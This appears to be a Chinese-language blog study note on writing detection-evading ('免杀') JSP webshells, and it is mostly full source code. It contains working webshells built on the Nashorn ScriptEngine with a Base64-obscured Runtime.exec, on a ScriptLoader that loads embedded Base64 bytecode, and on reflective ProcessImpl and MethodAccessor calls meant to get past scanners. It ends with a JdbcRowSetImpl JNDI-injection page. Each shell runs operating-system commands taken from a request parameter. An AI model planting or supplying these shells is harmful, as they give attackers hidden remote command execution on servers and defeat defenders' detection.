之前学习了基础的JSP Webshell的免杀思路,现在学习下其他的构建思路
使用ScriptEngine
使用Java自带的ScriptEngine
可以说是最完美的Java动态执行代码方案之一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <%@ page import="javax.script.ScriptEngineManager" %> <%@ page import="java.util.Base64" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <html> <body> <h2>ScriptEngine.eval的JSP Webshell</h2> <% String s1 = "s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='"; String s2 = request.getParameter("cmd"); String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs=")); Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (stringBuilder.length() > 0) { response.getOutputStream().write(stringBuilder.toString().getBytes()); } %> </body> </html>
|
运行结果:
使用ScriptLoader
使用的是
1
| Jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell
|
如果某些类加载器被禁用了,就可以使用这个特殊的类加载器去加载字节码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.security.CodeSource" %> <%@ page import="java.security.cert.Certificate" %> <%@ page import="java.util.Base64" %> <%@ page import="jdk.nashorn.internal.runtime.Context" %> <%@ page import="jdk.nashorn.internal.runtime.options.Options" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="sun.reflect.misc.MethodUtil" %> <html> <body> <h2>jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell</h2> <% Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader"); final Constructor constructor = c.getDeclaredConstructor(Context.class); constructor.setAccessible(true); final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class); m.setAccessible(true); class A { B b; final class B { private Object o; private Object[] oo;
public B() throws IllegalAccessException, InvocationTargetException, InstantiationException { o = constructor.newInstance(new Context(new Options(""), null, null)); oo = new Object[]{"com.sec.test01.Test", Base64.getDecoder().decode("yv66vgAAADQAWgoAGQAsBwAtCgACACwKAC4ALwcAMAgAMQgAMgoALgAzCgA0ADUHADYIADcKAAoAOAcAOQoADQA6CgANADsKAAIAPAgAPQoAAgA+CgANAD8KAAoAPwoAQAA/CgA0AEEKAEIAPwcAQwcARAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARFdmFsAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBDBwAwBwAtBwBFBwBGBwA2BwA5AQAKRXhjZXB0aW9ucwcARwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMABoAGwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBIDABJAEoBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDABLAEwHAEUMAE0ATgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIBAANHQksMABoATwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABoAUAwAUQBSDABTAFQBAAEKDABVAFIMAFYAGwcARgwAVwBYBwBZAQATY29tL3NlYy90ZXN0MDEvVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEABWNsb3NlAQAPZ2V0T3V0cHV0U3RyZWFtAQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAUamF2YS9pby9PdXRwdXRTdHJlYW0AIQAYABkAAAAAAAIAAQAaABsAAQAcAAAAHQABAAEAAAAFKrcAAbEAAAABAB0AAAAGAAEAAAAIAAEAHgAfAAIAHAAAAOoABQAJAAAAeLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pLLYAEjoIGQa2ABMZBbYAFBkEtgAVLbYAFrYAFxkIsAAAAAIAHQAAADYADQAAAAoACAALACEADAAnAA0ANAAOAD8AEABKABEAWQATAF8AFABkABUAaQAWAG4AFwB1ABgAIAAAACQAAv8APwAHBwAhBwAiBwAjBwAkBwAlBwAmBwAnAAD8ABkHACIAKAAAAAYAAgApACkAAQAqAAAAAgAr"), new CodeSource(null, (Certificate[]) null)}; } }
public A() throws IllegalAccessException, InstantiationException, InvocationTargetException { b = new B(); }
public Class invokex(Method method) throws InvocationTargetException, IllegalAccessException { return (Class) MethodUtil.invoke(method, b.o, b.oo); } }
Class target = new A().invokex(m); Method eval = target.getDeclaredMethod("Eval", String.class); Object cmd = eval.invoke(target.newInstance(), request.getParameter("cmd")); String s = cmd.toString(); out.println(s); %> </body> </html>
|
使用内部类
使用内部类绕过检测java.lang.ProcessImpl
以及invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Map" %> <%@ page import="sun.reflect.misc.MethodUtil" %> <html> <body> <h2>java.lang.ProcessImpl JSP Webshell</h2> <% try { final String s = request.getParameter("threedr3am"); class A {
B b;
final class B {
private Method o; private Object oo; private Object[] ooo;
public B() throws ClassNotFoundException, NoSuchMethodException { Class clz = Class.forName("java.lang.ProcessImpl"); Method method = clz .getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); o = method; oo = clz; ooo = new Object[]{s.split(" "), null, null, null, false}; } }
public A() throws ClassNotFoundException, NoSuchMethodException { b = new B(); }
public Object invokex() throws InvocationTargetException, IllegalAccessException { return MethodUtil.invoke(b.o, b.oo, b.ooo); } }
Process process = (Process) new A().invokex(); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (stringBuilder.length() > 0) { response.getOutputStream().write(stringBuilder.toString().getBytes()); } } catch (Exception e) { e.printStackTrace(); }
%> </body> </html>
|
运行结果:
使用MethodAccessor.invoke
如果检测了Method.invoke
,就可以通过MethodAccessor.invoke
绕过检测,核心代码如下:
1 2 3
| ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction()); MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method); Process process = (Process) methodAccessor.invoke(null, null);
|
使用JdbcRowSetImpl进行jndi注入
1 2 3 4 5 6 7 8 9 10 11
| <%@ page import="com.sun.rowset.JdbcRowSetImpl" %> <% System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName(request.getParameter("url"));//ldap://localhost:port/Calc try { jdbcRowSet.setAutoCommit(true); } catch (Throwable e) { response.getOutputStream().write(e.getCause().getMessage().getBytes()); } %>
|
参考
https://threedr3am.github.io/2020/06/12/%E9%83%BD0202%E5%B9%B4%E4%BA%86%E8%80%81%E5%97%A8%E8%BF%98%E5%9C%A8%E7%94%A8%E7%9A%84%20-%20%E5%90%84%E7%A7%8D%E5%A7%BF%E5%8A%BFjsp%20webshell/